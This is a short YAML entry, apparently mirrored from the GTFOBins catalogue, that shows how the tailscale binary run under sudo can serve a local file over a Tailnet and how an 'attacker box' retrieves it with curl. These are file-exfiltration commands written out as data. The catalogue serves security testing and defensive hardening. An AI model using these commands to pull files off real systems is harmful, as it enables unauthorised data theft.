mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
18 lines
453 B
Plaintext
18 lines
453 B
Plaintext
---
|
|
functions:
|
|
upload:
|
|
- code: |-
|
|
tailscale serve --http=12345 /path/to/input-file
|
|
comment: |-
|
|
The URL is reachable by any host of the same Tailnet.
|
|
contexts:
|
|
sudo:
|
|
receiver:
|
|
code: |-
|
|
curl http://<hostname>.<tailnet>.ts.net:12345/ -o /path/to/output-file
|
|
comment: |-
|
|
An HTTP client can be used on the attacker box to receive the data.
|
|
|
|
The actual URL is returned by the command.
|
|
...
|